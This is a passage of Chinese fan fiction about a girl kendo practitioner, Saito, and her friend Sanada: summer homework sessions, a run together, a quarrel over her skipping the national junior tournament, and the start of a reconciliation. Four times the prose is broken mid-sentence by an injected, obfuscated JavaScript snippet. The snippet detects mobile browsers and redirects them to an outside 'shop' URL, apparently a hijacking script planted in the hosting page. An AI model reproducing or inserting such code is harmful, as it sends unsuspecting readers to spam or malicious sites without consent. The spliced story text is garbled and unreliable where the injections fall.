斋藤下一次见到真田,只能到暑假了。 7. 暑假 斋藤表情惬意地正坐在缘侧,面对被绿植覆盖地庭院。 夏日清晨的空气的水汽含量偏高,让空气中少一点干燥泥土的气味,突出了草木的清香。 围墙并不隔音,但清晨街道本就安静,宁静属于这个时刻。真田祖孙俩在斋藤身后的房间进行剑道授业,有力的气合声与清脆的打击声不时从房间传来,打破了这片早晨的寂静。 这里并不是斋藤的家。她早早上门拜访真田老师,如今坐在缘侧等候授业结束,乍看之下,像是被晾在一旁。可她神情从容,显然并不在意。 斋藤国小时期所在的道场不收国中生,她原打算在放假当天向熟知周边道场的真田老师咨询,让他推荐适合自己的道馆。但放学之后,父母临时告知他们在东京的餐厅里预约了晚餐,她只能将计划推迟。 斋藤想要尽早投入剑道训练,于是一大清早就来到真田家,拜访真田老师。没有预约的清晨拜访多少有点失礼,为表示礼数,斋藤带着昨天特地在餐厅买了一份蛋糕礼盒作为伴手礼。 虽然斋藤被真田的母亲邀请在客厅喝茶等待,但对斋藤来说,听着竹剑与击打棒相撞的声音就是一种享受。 门后的木材撞击声音停止了,真田老师宣布今天的训练到此结束,真田大声感谢指导。斋藤立刻起身,笔挺地站在门前。 “真田老师,早上好。真田君,早上好。”斋藤用洪亮清晰的声音和真田祖孙俩打招呼。 “斋藤君,让你久等了。”真田老师对斋藤的来访似乎并不惊讶。 “你这么早我家来做什么?”相比与真田老师地亲切回应,真田质问的口气倒是显得随意,甚至是失礼。 “弦一郎,斋藤君是客人,要有礼貌。”真田老师教导着真田。 斋藤觉得真田的反应也不是不能理解,所以没有放在心上,她向真田老师说自己拜访的目的,真田老师给了斋藤一个地址,并且说自己会和道场的馆长联系,告知斋藤的到来。 斋藤鞠躬和真田老师道谢,但看着因为踩踏而蒙上一层白雾的地板后陷入了沉思。 今天的日课——擦地板还没有做。 延展的缘侧将门朝庭院的房间连接了起来,斋藤想,这样的距离自己拿着抹布俯下身体正好一口气可以推过去,被简单地用地板油处理的木板表面光滑没有毛刺,泛着温润的光泽,一点也不刺眼,稍微用力一踏发出的响声也很悦耳。缘侧的宽度能容纳两个大人,但是这间距,斋藤擦了一边后,可以不用停歇,就可以顺势擦另一边。因为空气流通的缘故,在清洗拧干抹布期间,水渍也很快自然蒸发。 和偌大的场馆相比还有一个优势就是,开放、通透、空气清新,令人神清气爽,精神饱满。 当斋藤在道场学会擦地板后,就一直觉得这个缘侧简直就是修行的完美场域。 斋藤家是现代西洋风别墅,可没有这样的场所。斋藤不得不承认自己羡慕,不,是觊觎真田家的这个缘侧。 “你是不是还有话想跟祖父大人说。”真田突然开口,他双臂交叉抱胸,盯着斋藤的眼睛里多少带点不满。 斋藤这才发现真田还站在真田老师的身边。 我想擦这个缘侧。斋藤当然不能这么说。 一大早跑到别人的家里打扫卫生,哪怕根本原因是为了修行,也会被当作怪人。 斋藤决定还是拿自家二楼狭窄的过道凑合一下。 “不,我已经没什么想说的。” “那就请你先回避一下。我想和祖父单独说几句话。”真田催促着。 与真田老师和真田道别,斋藤刚想离开,似乎想起什么,对真田灿烂一笑。 “真田君,恭喜你们获得县大赛,关东地区大赛优胜!” “你已经和我道贺过了吧。” 真田所谓的道贺就是斋藤给他发的两个“做得很好”。 “我觉得当着你的面亲自道贺更好!” “你怎么表现得比你自己赢了还开心……你是小学生吗?” “真田君是国中生,了不起!” 斋藤依旧保持着爽朗的笑容,让人一时分不清这是夸奖还是揶揄。 “斋藤!” 在真田急躁地催促以及真田老师看热闹不嫌事大的笑脸下,斋藤离开了真田家。到家后,斋藤叮嘱自己那位正对着电脑通宵工作的父亲戴上隔音耳机,从杂物间拿出桶和抹布,面对自家那条封闭、光线并不充足的走廊上,斋藤用力拍了自己的脸颊,将不切实际的幻想甩开,认真地进行日课。 稍后登门来家里做家务的家政夫宫摩千看着被斋藤擦得反光的地板,用真诚地口吻说:“大小姐您帮了大忙呢,一点也不像真正的大小姐。” 这话虽然听上去有些奇怪,斋藤姑且还是当作夸奖。 距离道场营业还有一些时间,斋藤在自家的院子里拿着竹剑素振,直到宫摩千的提醒时间到了,斋藤出门前准备和父亲打招呼,但是宫摩千告知“老爷睡觉了”。斋藤只得作罢,转而和宫摩千道别。 斋藤前往道场报名,与馆长寒暄并稍作交流后,去熟悉的剑道器材店买了新的剑道装备。 黑色的装备袋散发出刚从塑料包装里拿出的崭新物品的味道,面具也没有腥咸臭的污染。斋藤将面具捧在面前,把鼻子凑上去,像是为了记住这个味道忍不住深吸了几口气。 购买新装备的心情,比想象中还要好。 更不用说,回到家后还有宫摩千准备的午餐等着她。 斋藤挎着装备袋走在熟悉的住宅区街道上。 正是夏日中午,街道上几乎没有人影,蝉鸣在热浪中显得越发遥远。炽热的阳光烘烤着柏油路,空气中弥漫着淡淡的青草和晒干水泥的味道。 转角处,一个身影突然出现。在正午烈日的暴晒下,对方整个轮廓显得有些模糊,他身穿明亮晃眼的黄色运动服,带着黑色的有檐运动帽,和自己一样单肩挎着黑色的包。 这些特征斋藤一眼就认出来对方是真田。 “中午好,斋藤君。”真田率先和斋藤打招呼。 斋藤把手抵在额头上,睁大眼睛,让真田感觉自己有认真地直视着和他说话。 “中午好,真田君,训练辛苦了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487280|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“新的装备?”真田用眼神指向斋藤崭新的装备袋。 “嗯!我打算下午就去道场穿起来!” “斋藤,你今天写作业了吗?” “哈哈……还没有,要不然下午我到你家写?”面对真田有点哪壶不开提哪壶的问题,斋藤抽动着嘴角干笑着。 “只要你不打扰我就行。” 斋藤原以为真田会以“我们写的作业不一样”为理由拒绝她,哪知道真田算是爽快地答应了。 这下轮到斋藤不自在了,虽然和真田在一起写作业效率非常高,但是那样只是为了写作业,真田自带的气场和压迫力,让斋藤觉得自己身处在教室,感受不到假期的轻松。 “你怎么一脸失望。” “没有,谢谢真田君让我去你家写作业。”斋藤用感谢掩盖住自己慌张。 饭后,斋藤去浴室洗去上午在户外奔波的痕迹,对着镜子梳理超短的发型。 国小时,常有青梅竹马因为性别差异被当作玩笑,名字被写在黑板的相合伞下,成了同学起哄的对象,关系也因此变得尴尬,甚至疏远。 或许就是因为斋藤从外表上看,更像一个纯粹热爱剑道的少年。她和真田始终被当作“只是朋友”,顺利地走过了国小六年,没有人拿他们开过玩笑。 再三确认把东西带齐了,斋藤前往真田家,来到二楼轻敲着真田紧掩的房门,在听到“请进”后斋藤才拧开门把。 “打扰了。” 真田的房间和以前一样的简洁清爽,颜色朴素造型板正的家具和他的严守传统的个性非常相符。 平日里经常携带的运动包在书架顶上,书架上的书也是按着规格整齐排序,古玩摆件和颜色形态各异的兔犬玩具整齐地摆在书的前面。 即使关系再好,斋藤不会事先不和真田说就随便闯入他的房间,尤其是夏天,因为房间里说不定会放着独角仙和锹甲虫。 斋藤讨厌虫子,她扫视了一圈,发现没有生物养殖盒,安心地走进房间。 真田没有背对着门坐在靠窗的书桌上写作业,而是房间中央四四方方的矮桌前正坐,拿着笔看参考书。 在与真田有些距离的位置放了一张坐垫,是真田指定的斋藤的座位。 “真慢。”真田抬头看了眼斋藤,然后继续写作业,突然似乎想起什么,连忙抬起头。 “对了,门不用关了,家里人都在午休,应该不会打扰到我们。” 斋藤点了点头,将门完全敞开并固定好后,坐在垫子上。 看着真田这副认真地模样,斋藤也受其影响,完全没有多余的念头,所有的专注都在由文字组成的问题上。 当真田说“稍微休息一下吧”后,斋藤如释重负地双手撑地,仰看着天花板,长跑后疲劳到席地而坐的运动员也是这个模样。真田起身拿起放在书桌上的冷水壶,往两个玻璃杯的倒水,并递给斋藤一杯。 斋藤道谢后接过玻璃杯,水汽凝在玻璃杯的外侧沾湿了斋藤的手。斋藤喝了一口,比室温稍低的凉水沁人心脾,把斋藤从坐在桌前开始就压抑的一些想法释放了出来。 8. 跑步 “真田君,这几个月真田老师有教你什么新的剑道技术?” 这是国小的时期,斋藤经常问真田的问题。 真田老师是负责指导警察的剑道老师,他的水平和尊严是绝对不会指导身为小学生的斋藤。 真田老师偶尔会来道场看斋藤的训练和比试,然后和道场的师傅耳语几句。 这是真田老师对斋藤能做的最大的偏爱。 斋藤对此并不满足,于是她将手伸向真田,在学校休息的间隙,拿着树枝,缠着真田给她演示从真田老师那里学会的新技法。 一开始真田也会犹豫,并告诉斋藤自己没有指导斋藤的资格,斋藤就用这是交流不是教导让真田松口。 当真田意识到自己学到的技术被在一旁围观的斋藤偷学,正要生气的时候,斋藤夸奖真田的动作做得标准,自己才能学会,真田约等于是自己的老师。 真田一边露出得意自满的笑容,一边谦虚地表示自己根本就不够格成为斋藤的老师,但是交流技法就没问题。 上国中后,两人异地相隔,上述的情景自然不会发生。 “好久没听到你这么问了。”真田感慨着。 “毕竟用手机问,也看不到你学了什么。” 其实听了招式的名称,斋藤可以询问监督,但是她还是想看真田亲自跟自己演示。 真田没有接着斋藤的话,似乎是认同了斋藤的解释,转而骄傲地和斋藤宣布真田老师允许他可以学拔刀术。 “嗯,真田君真厉害。”斋藤只是一脸平静,语气毫无波澜地敷衍着。 “我以为你会很激动。” “拔刀术的是真刀吧,我担心你会受伤。” 真田和担忧的斋藤解释拔刀术的前期是用木刀,不会那么容易受伤。 “说真刀危险,你不用菜刀切菜吗?”真田反问。 “这是宫摩千的职责。”斋藤说得理所当然。 “你这样是嫁不出去的。” “没人愿意和我结婚那我就不结婚。”斋藤悄悄改变了说法。 “人还是要结婚的。” 斋藤知道这是符合真田性格的古板观念,但听到这句话,她还是起了一层鸡皮疙瘩。 “……这话不像是你会说的。” 真田皱了皱眉,没有解释。 “你有时间想这些有的没的不如好好写作业。” 明明是你先提结婚这个话题的,斋藤想,只是她懒得反驳真田,继续写作业。 “斋藤君,今天就这样吧。” 当斋藤听到真田这么说后,她看了一眼窗外,天空还是清晰洁净,涌进房间的光线将室内照得亮堂。似乎离落日还有一段时间。 “那么我就告辞了……”斋藤没有多问,而是迅速地收拾自己的书本。 “我要去跑步,你也一起来吧。剑道也是需要体能训练的。”真田也在收拾着自己的东西,完全没有看斋藤一眼。 真田的提议让斋藤手足无措。 如果不是真田在斋藤在兴头上的时候提暑假作业,斋藤早就结束了剑道老师的安排下进行体能训练,而且不是现在被真田要求去跑步。斋藤也知道自己完全跟不上真田的速度,她跟在真田身后只是累赘。 关键是现在跟着真田跑步,晚上就别想有多余的精力去道场。 “我早上有擦地板,还有素振……” “你试试把这句话说给你的教练听。”真田轻嗤一下,然后了她一眼,语气没变补充道“你要是跑不动可以先回家。” “真的?”斋藤没想到真田竟然会对自己要求这么宽松。 “你又不是网球部的部员,我不会对你有要求。” “那你为什么要我跟你一起跑?” “跑不跑随你,比赛输了别找借口。” 斋藤觉得真田说得有道理,于是和真田说“那请你等我一下”。 斋藤回家后,换上了短袖和长裤组合的运动服,她觉得有些不够,将防晒服也套在身上,头上戴着有遮阳功能宽檐运动帽,最后把找出一个腰包扣在腰间,将手机和便携款的止汗喷雾塞在腰包的袋子里。 斋藤一边提着运动鞋鞋跟,一边跌跌撞撞地跑出家门,发现穿着无袖运动服和运动短裤的真田在自家门口站着。大概是斋藤花了太多的时间换衣服,真田的表情变得有些狰狞,但看着斋藤的装扮,他脱口而出的是—— “你不热吗?” “和剑道的全副武装相比,这是小意思。”斋藤表现出不合时宜的自豪。 “所以你刚才在这种无聊的事情上花费那么多时间。”真田嫌弃地看着斋藤的腰包,并说自己跑步不需要带着些多余地东西 “你以前可不是这样的。”真田又加了一句,语气多少让斋藤感受到他的失望。 “下次我不会这样了。”似乎意识到自己做得有些夸张了,斋藤低下头,带着歉意地说。 于是两人默默无言地跑步。真田跑在前方,斋藤用着比平时稍快的速度跟在真田身后。 虽然现在算是傍晚,但是室外的温度还是很高,路上并没有什么散漫行人的行人,这让道路变得畅通无阻。 到了三公里左右的时候,斋藤感觉到自己的体力正在急速下降,呼吸也开始变得急促,腿开始变得沉重。 “才跑这么点路不行了吗?”真田看上去一点问题也没有,呼吸保持稳定。 “没有!我还可以坚持……” 斋藤不让自己紊乱的呼吸被真田听见,她咬着牙说着话。 斋藤跑步姿势已经完全变形,她双腿一软,“扑通”跪在柏油路上。 太阳已经下山,但是白天被阳光曝晒后的路面还是保留了一些温度,灼烧斋藤的膝盖,细小的尘埃嵌进皮肤里,但是她还是不想起身,她清楚自己的两条腿现在无法支撑起自己的身体。 起身后踉跄两下,然后跟古稀老人一样走路,并不比现在这个样子要好一点。 “才四公里就累成这样了,你的耐力不行,要多练习。” 真田高高在上地俯视着斋藤,完全没有帮助她的意思。斋藤没有资格抱怨真田冷漠,她也知道真田站在她的身边盯着她就是真田在担心自己的状态。 “是……” 真田看着似乎没有从地上起来的意思,咋舌皱起眉头。 “你该不会连爬起来的力气也没有了吧,需要我拉你一把吗?” “不用……我可以自己来……” 斋藤花了几秒钟,才勉强把身体调整成半跪半蹲的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487281|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势。 “你别逞强了。” 真田把手伸到斋藤面前,他的眼神没有软下来,语气也不轻。斋藤犹豫了片刻,在真田如剑芒的注视下,斋藤下定决心,握住真田的手。 真田手里茧子的分布几乎与自己一样。 都是练剑道的。 真田应该觉得握着斋藤的手和握着自己的手没什么差别,所以真田才能毫不犹豫地,面不改色地伸出自己的手。 在真田的搀扶下,斋藤踉跄地向前走了几步,因为只有真田一只手作为支撑,斋藤不得不一边走、一边努力调整重心。 真田轻轻皱了眉,像是不想直视她这副连走路都走不稳的样子。下一秒,他叹了口气,干脆将她的手臂搭到自己肩上,嘴里嘟囔着:“麻烦。” “不、不、不用这样,我可以自己走。” 真田完全没有搭理斋藤,只是搀着斋藤快步向前走。 斋藤的上臂内侧的肌肤隔着防晒服接触到真田布满汗珠的后颈,那种潮湿温热的感觉多少有点不舒服。斋藤抿着嘴巴苦着脸忍耐着,这是真田的善意,她没有办法纯粹地嫌弃这份心意。 真田带着斋藤来到路边的自动贩卖机,他放下斋藤去买饮料。斋藤依靠着路边的护栏,低头闻了闻身上,似乎没有什么明显的汗水气味,但是以防万一还是从腰包里拿出便携装的止汗喷雾往身上喷。 “喷香水?” “是止汗喷雾,在学校晨练之后来不及洗澡,只能用这个。” 斋藤深吸一口气,闻到身体已经被清淡的植物香气包围,将喷雾塞回包里,接过真田递过来的运动饮料。 “我已经习惯了。”真田一边喝水,一边用领口抹去额头上的汗水。 “毕竟真田君是男孩子,有点汗味大家都会宽容的。”斋藤将饮料贴在脸上,用手扇出的微弱凉风驱除暑气。 真田看了她一眼,语气简短:“我是说,我已经习惯了。” 斋藤僵住了。 因为平日里被头盔里的浓烈的闷湿包围着,斋藤完全忽视了平日里剧烈活动后身体也是会流汗的。 “你、你、你说什么!” 看着不以为意地真田,斋藤停下准备拧开饮料瓶的手,结结巴巴地说,牙齿打颤的样子让人想到了发条玩具。 “喂,你怎么了……” “我给真田君造成了困扰,真的很对不起!”斋藤为了消灭在内心不断膨胀,快要撑破身体的尴尬,大声地给真田道歉,她现在的态度用诚惶诚恐来形容也不算夸张。 “你不需要道歉。”真田懒得搭理的斋藤。 “谢谢您的宽宏大量!” 真田催促着斋藤赶快喝下运动饮料补充水分来恢复体力。 不知道是电解质的作用,还是凉意让身体暂时缓过来了,斋藤觉得自己还能再坚持一阵。 “虽然剑道对体力的要求没有网球那么高,但是你也不能懈怠。”真田劝诫。 “是。” 听着斋藤毫无反省的回应,真田叹气,在确认斋藤能够正常行动后,真田让斋藤早点回去,然后转身继续跑,留下斋藤一个人在路边。 “回家吧。”斋藤自言自语,背对远去的真田疾步离去,毕竟她晚上还要去道场练习。 9. 吵架了 斋藤苦恼地盯着作业本上的题目,用笔的尾端轻敲着自己的额头。明明所有字她都认得,就是不知道预留的空白里应该填什么。 为了缓解这份焦躁,斋藤看向真田,身为优等生的真田倒是运笔流畅,像是看一眼就知道答案是什么。 如果是过去,斋藤会不经意地瞥一眼真田的作业本,真田会迅速地用手背横在作业上将斋藤视线遮住。现在真田倒是大方地将自己的作业摊在桌上,大概是双方现在在上不同的学校,安排的暑假作业内容也完全不同,也就不用担心斋藤偷懒了。 几只飞鸟掠过窗边,轻薄的黑影吸引斋藤的注意力。 看着炙烤到发白的太阳,斋藤想,今年暑假没有像以前一样和真田一起出去玩。毕竟真田一门心思准备全国大赛,没有多余的心思享受玩乐。 斋藤和真田的相处的时间只有写作业和跑步。 一开始只是为了反击真田而随口一说,现在斋藤几乎是天天到真田家写暑假作业。 是几乎。 如果其他人上门拜访真田,真田总会提前告诉斋藤‘今天朋友会来’,让她不用过来了。 真田不是热衷于社交,喜欢热闹的人,所以斋藤理解他这一举动。 来的是网球部的人吧,网球部里好像有那名叫幸村精市的人。他也算是真田的青梅竹马了,不过斋藤至真田提过这号人到现在没有见过他,当然,她也不觉得自己有认识他的必要。 至于跑步,斋藤不得不承认,多亏了真田,她的体能稍微得到了提升。 她和真田主动提出了自己更喜欢晨跑后,真田几乎是剑道授业之后,毫不停歇地和斋藤一起去晨跑。 步伐频率和距离都是由她说得算,真田可以说是陪跑。 然后是社团训练,傍晚接着跑步…… ……这个人的精力是无穷无尽的吗? 想到这里,斋藤觉得这件事简直算得上是世界未解之谜。 “快写吧,暑假马上要结束了。” 在真田的提醒下,斋藤又要重新面对无法解决的问题。 “可有些题目我不会写……”斋藤不想看题目也不想看真田严肃的表情,于是凝视着桌上虚空的一点。 “你不懂可以问我。” “那不就是打扰你了?”听着真田说得理所当然,斋藤惊讶地看着他。 “你到我家写作业不就是为了向我请教?” “……这样啊。” 因为斋藤打一开始并不想到真田家写作业的,只是阴差阳错变成现在这副状况。 “所以你到我家写作业究竟是为什么?” 正当斋藤不知道怎么回复真田这句话时,斋藤的手机开始震动起来,来电显示是小宫华丽。 “斋藤你在哪里?”电话接通后,小宫在电话那头急迫地问。 斋藤从未听过小宫用这样的语气和自己说话,直觉告诉斋藤一定是发生了什么大事,于是立刻把自己所在的方位给了小宫。 “我现在在真田老师家里。” “斋藤,记得把脖子洗干净。” 小宫留下这句话后,就挂断了电话。 这句话是威胁吧。 斋藤保持着接电话的姿势,努力回想自己做了什么对不起小宫的事情,让小宫这么生气。 “喂,你怎么了?”真田问石化般,半晌没有动静的斋藤。 “真田君,你会在什么时候跟别人说‘把脖子洗干净’这种话?” “我再生气也不会说这种话。” 有人用力地踩着楼梯上二楼。 踏在木板上的脚步声清脆有力。与真田老师的脚步声完全不一样,但斋藤确定来人也是个剑道高手。 真田也听到了这脚步声,开始抱胸思考起来。 “这脚步声……” 小宫一脸阴沉地出现在敞开的房门前,而真田的“小宫小姐”同时脱口而出。 小宫曾经拜访过真田老师,自然知道真田家在哪里。 “小宫前辈——”斋藤抬起头向小宫打招呼。 “斋藤——”这声音是从喉咙发出,其沉闷感让人感觉到了小宫发自肺腑的怨气。 小宫咬着牙,冲到斋藤面前,单手钳住斋藤的脸,略高过指尖的指甲掐进斋藤的皮肤里,这让斋藤感觉太过不适合。 “你没有参加全中,是吧?” “我们不是约好了全中个人赛三年满贯,结果不仅个人赛没有参加,连团体赛也放弃了?” “我好心去风岚给你打气,结果就只见到远藤用看傻子的眼神看着我。你说说看这份屈辱我该怎么处理?” 小宫用这样的动作强迫着斋藤直面自己,但斋藤还是将眼珠滑到一边,没有看着小宫。 “小宫小姐,全中的县预赛和地区赛的时候你难道不知道斋藤君没参加吗?”真田自然地询问小宫,斋藤觉得真田完全没有想帮助自己脱困。 “我是相信她有这个实力,所以我就没关注比赛结果。” 真田难以置信地表情在斋藤和小宫的脸之间来回看着,斋藤知道真田在想什么。 你们两个,明明没有比试过,怎么都认可对方的实力。 可是,真田君,你不也是这样吗?斋藤在内心吐槽。 “参赛名单是由监督决定的,斋藤君没有选上没办法参赛这也没办法。” 真田说出了斋藤给自己的解释,但是小宫好像并不认可,她轻笑着,睥睨斋藤。 “真田君,这家伙是跟你这么说的?” “的确,参赛名单是由监督决定的。“ “但监督绝对有说过‘谁愿意挑战全中资格的请站出来’吧。” 小宫眼神变得犀利,捏住斋藤脸的手更用劲了。 “斋藤!” 真田握紧拳头,厉声叫着斋藤的名字,小宫似乎被真田的瞬间爆发出的愤怒气势震慑住了,斋藤感觉到小宫的手明显松开了一点。 “是小宫小姐说的那样吗?你这家伙怎么又做这种愚蠢的事情!” “对不起!” 看到真田生气了,斋藤的道歉就脱口而出,但是因为斋藤的嘴巴被小宫钳制着,听起来就是有节奏的闷哼声。 “这么多年下来了你还是喜欢做这种无意义的谦让。” 原来真田还记得那件事。 那个“也”把自己用力推到一边的,男孩子。 因为总是输给斋藤,在一次比试之后连装备也没有脱下的情况下,崩溃地逃离道场。 “那下一次的比赛我就不参加了,我相信你一定会赢的。” 这是斋藤的安慰。 然后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487282|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他用力地推开了斋藤离开了,之后再也没有回道场。 “‘又’,‘还是’?斋藤,你到底做过什么啊?”小宫好奇地问。 “小宫前辈,请你先放开我。” 小宫松开手,斋藤揉着自己发酸的脸颊简单地说明。 “我以前跟别人说‘下一次比赛我就不参加了’……” “因为那个人总会输给你?” 斋藤像是不愿意面对一样闭起眼睛,轻轻点头。 “没想到你居然这么蠢。”小宫用手撩起刘海,一副难以置信的样子。 “你那时候还很委屈地我跑过来问我,为什么那个人听了这句话后就把你推开。你还记得我怎么回答你的吗?” “‘你这是在瞧不起人’……” “那为什么你还要再做这种事?” 因为剑道部的大家都觉得个人赛出场的就应该是远藤,斋藤便顺应了大家的想法,没有做多余的事情。这是众望所归,没有人到受到伤害。 “……我觉得这两件事根本就不一样。” 斋藤声音不大,但语尾有点抖。她自己都没察觉。 她不是不想让真田理解,她只是不知道该怎么说,才不会被看作借口。 “两件事有什么不一样,说到底你从来没把自己的实力放在该有的位置上! “还是你不敢太认真,担心认真了自己不能说放弃就放弃。” “放弃?放弃什么?剑道?”一直表现地很委屈的斋藤突然提高声音反问并且瞪着真田。 “我才不会放弃。只是不去参加一个比赛就说我会放弃也太过分了。” “那可是全中。”刚才一直情绪激动的真田,这时候的语气却弱了下去。 “那又怎么样?和我平时的试合训练有什么差别,不就是赢了多个锦旗和奖牌吗?难道我平时都是没有尽全力和别人比试吗?” “因为你在全国大赛会遇到你平时遇不到的对手,这样才能真正地了解你的实力,你懂吗!” 真田没有屈服于斋藤的强行辩解,他提高音量继续与斋藤针锋相对。 “真正强大的对手不会在一年之后就会消失,只要我坚持成长,我终究有机会与对方交战。” “所以你不去主动进行任何挑战,等着别人上门?!” “我从没这么想过!” “‘只要我够强,别人就会主动挑战我’,这句话耳熟吗?” 斋藤的脑子猛地一震。她隐约记得…… ——‘前辈们看到我的实力,自然会邀请我比试的。’ 这句话,是她自己说的。 可是为什么,当真田用几乎相同的话重复出来时,听上去就像是个彻头彻尾的借口。 “就你这个态度,你真的觉得你能变强!” “……那又怎么样?”斋藤的语气里带着不耐烦。“难道你觉得我只是坐在那里等吗?你从来不知道我在道场是怎么度过的,也不知道我是如何成为少年剑道炼成大赛的冠军的。” “少年剑道炼成大赛?这是多久以前的事情了!” “你已经不是小学生了!” 斋藤当然知道自己不是小学生了。也知道过去的头衔对现在的自己没有任何实质的作用。但真田说的话就像是一把利刃,毫不留情地划开了她的借口。 10. 和解了 “不知道!我什么也不知道!” 斋藤也不知道自己为什么会说这句话,愤怒破坏了理性,她已经没有办法继续思考,于是她大喊着“我回去了”,离开真田的房间。 “斋藤!” 斋藤听见真田在房间里叫着斋藤的名字,而一直在观战的小宫说“冷静一点”劝阻真田。 斋藤跑回家,回到自己的房间,将脸埋在枕头里闷声尖叫,宣泄情绪。 被斋藤回家后发出的噪音影响到的父亲敲着斋藤的房门询问发生了什么,被斋藤搪塞了过去。 然后父亲跟斋藤说,刚才有个长头发的女孩子找斋藤,斋藤回答,是一个前辈,她们刚才见过面了。 于是父亲就没再和斋藤说什么。 听到父亲从门前离开,斋藤紧绷的身体才彻底放松。 原来真田一直在督促她,是担心她会随时放弃剑道。 斋藤想不明白,明明已经全身心投入到了剑道,明明真田也知道她对剑道的喜爱,她为了剑道甚至是违背了一起上同一学校的约定,为什么真田还会质疑她的决心。 “——我绝对不会放弃剑道。”斋藤勒紧枕头,坚定地宣告着。 她觉得自己一点错都没有,错的是真田那毫无根据的怀疑。 只是,这大概是斋藤国中的最后一个真正意义上的暑假了。 明年斋藤是一定要参加全中的,那样的话,暑假大部分时间要待在学校里投入训练,根本没有几天待在家里。更别说真田他也要备战全国大赛。 到那时候两人恐怕根本就没时间碰面。 斋藤松开了变形的枕头。 只是口头道个歉,斋藤和真田相处了那么多年,已经很习惯说“对不起”这三个字了。 斋藤不希望她和真田的关系就因为一场没意义的争吵而恶化。于是她拿起竹剑素振平复心情,她握着剑柄,保持一定地频率上下挥动,就感觉有股力量涌入并填满她的内心,那是雀跃与安静并存的奇妙体验。 斋藤洗手间洗去脸上的汗水,忽然想到自己的作业还在真田的房间里。如果和真田见面后发现真田还在气头上,斋藤就说自己是去拿作业。 斋藤做好心理准备,到真田家门前,按下了门铃,开门的是应该在这个点休憩的真田老师。 “对不起,真田老师,这个时候打扰您。请问真田君……还好吗?” “弦一郎他出去跑步了。” 斋藤转过身,看着白到晃眼,被热浪扭曲的广阔天地。 在这个点出去跑步?明明外面热得甚至能把泥土也可以蒸发掉。 斋藤突然有种想去找真田的冲动,但是真田老师在这时候主动开口了。 “斋藤君,老夫想看你挥剑。” “……现在吗?” 真田老师点头。 斋藤捕捉到瞬间的喜悦闪过心头,或许这是能获得真田老师指导,千载难逢的机会。 只是她现在担心着在户外的真田,怀疑自己不能好好发挥。 “你不用担心弦一郎,他清楚自己的情况。” 听到真田老师这么说,斋藤看了一眼身后,回了一句“是”,跟着真田老师来到家里的道场。 斋藤郑重地接过真田老师递来的竹剑。这把竹剑和自己常用的相比有点重,应该是真田练习时用的。 虽然真田老师只是要求斋藤素振,但是斋藤想要给真田老师留下好印象。于是她正坐行礼,起身按着规矩把竹剑从身侧拔出,摆好中段架势后挥剑。 斋藤的动作流畅完美,和平日无异。 她很清楚自己只要拿起竹剑挥下去,心情自然就会平复。所以她刚才的担心是多余的,是自欺欺人的。 这也是斋藤绝对不会放弃剑道的原因。 斋藤一面忏悔自己的冷酷,一边享受竹剑划破空气的感觉。 哪怕再不善表达,她也能用剑来平复一切—— “斋藤君,别让剑替你承受太多。” 真田老师叫停斋藤挥剑,并只留下这句话,离开了剑道室。 没有获得真田老师的指导,斋藤期待落空,垂头丧气。 真田老师留下的那句话,斋藤还是听出里面的担忧。 但是她不明白,能用剑平复情绪,这不是剑士们梦寐以求的吗? 只要用剑尖对准对手的眼睛,无论之前的心绪有多么混乱,就能立刻以最完美的状态投入比试。 这是让斋藤引以为豪的天赋与优势。真田老师未免也太多虑了。 斋藤发现自己还拿着真田的竹剑,原想去问真田老师该放哪里,却在缘侧与真田撞个正着。 真田的T恤被汗水浸湿,贴在身上,呼吸还未平稳。他看着斋藤手中的竹剑,似乎一眼就看出是自己的,于是一把拿过,转身进入房间,出来时竹剑已不在他的手里。 “真田君,这么热的天出门跑步很容易脱水中暑的!”斋藤关切地说。 “你用不着担心。” 真田调整呼吸,散发着热气,回答地语气有些生硬冷淡,这让斋藤刚刚因挥剑而充盈内心的突然出现了一道裂缝。 “嗯……那个,我是过来……” 斋藤觉得真田还在生气,她把刚才准备好的借口搬出来。 “很辛苦吧。”真田突然开口说。 “辛苦?” “什么都不会做的大小姐住在家外面一定很辛苦吧。” 这句话听上去像是在讽刺,但是能从真田平和的语气斋藤感受到他柔软的心意。 “什么什么都不会做——为什么你突然跟我说这个?” “不是,那个……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 